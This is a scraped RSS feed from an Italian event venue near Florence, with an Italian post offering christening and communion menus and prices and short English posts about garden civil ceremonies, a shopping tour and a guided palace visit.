Villa Medicea Lo Sprocco vanta anni di esperienza nell’organizzazione di Eventi e cerimonie. Il cliente si potrà pertanto avvalere della professionalità dei nostri collaboratori per organizzare qualsiasi tipo di evento.

La nostra cucina interna propone una vasta gamma di menù personalizzati, accompagnata da una accurata scelta dei vini, ma anche con proposte specifiche per bambini, vegetariani, vegani, allergici e celiaci.

Se le condizioni atmosferiche sono favorevoli si possono utilizzare gli spazi all’aperto (pratone, parco e piscina) e ovviamente in caso di brutto tempo le sale interne.

Infine la Villa offre, su richiesta, assistenza nella scelta di servizi accessori: allestimento floreale, servizio fotografico, intrattenimento musicale, baby-sitting, spettacoli pirotecnici, noleggio auto o gonfiabili, ecc. ecc. A Villa lo Sprocco ti puoi rivolgere per occasioni particolari, come le comunioni, battesimi, cresime di cui vi proponiamo due menù:

Menù Topolino e Minni

Aperitivo di benvenuto
Crostini e affettati del mugello
Maltagliati al ragù bianco di maialino
Farfalle alla mediterranea
Filetto di maiale in crosta
Patate alla ghiotta
Millefoglie con crema Chantilly
Vino rosso Della Villa
Euro 34 (bevande escluse)

Menù Aladino e Jasmine

Aperitivo di benvenuto
Crostini e affettati del mugello
Fritturine della Villa
Risotto primavera
Tortelli mugellani al ragù
Tagliata su letto di rucola
Patate alla ghiotta
Composta di insalatine
Millefoglie con crema Chantilly
Vino rosso Della Villa
Euro 39 (bevande escluse)

The post Battesimi Comunioni Cresime first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Civil Ceremony in our beautiful Garden https://www.losprocco.it/civil-ceremony-in-our-beautiful-garden/ Wed, 03 Jun 2015 03:45:12 +0000 http://www.villalosprocco.com/wp/index.php/2015/06/03/civil-ceremony-in-our-beautiful-garden/ We can arrange your Civil Ceremony in our beautiful Garden more details

The post Civil Ceremony in our beautiful Garden first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
hilight34We can arrange your Civil Ceremony in our beautiful Garden

more details

The post Civil Ceremony in our beautiful Garden first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Shopping Tour in Tuscany https://www.losprocco.it/shopping-tour-in-tuscany/ Wed, 03 Jun 2015 03:45:12 +0000 http://www.villalosprocco.com/wp/index.php/2015/06/03/shopping-tour-in-tuscany/ Our shopping tour may be adjusted according to the specific interest of our guests. more details

The post Shopping Tour in Tuscany first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
hilight22Our shopping tour may be adjusted according to the specific interest of our guests.

more details

The post Shopping Tour in Tuscany first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Guided visit in Palazzo dei Vicari https://www.losprocco.it/guided-visit-in-palazzo-dei-vicari/ Wed, 03 Jun 2015 03:45:12 +0000 http://www.villalosprocco.com/wp/index.php/2015/06/03/guided-visit-in-palazzo-dei-vicari/ Guided tour to the noble rooms of the Palace, to the Tower, to the crenellations and the ancient historical archives. more details

The post Guided visit in Palazzo dei Vicari first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
hilight9Guided tour to the noble rooms of the Palace, to the Tower, to the crenellations and the ancient historical archives.

more details

The post Guided visit in Palazzo dei Vicari first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>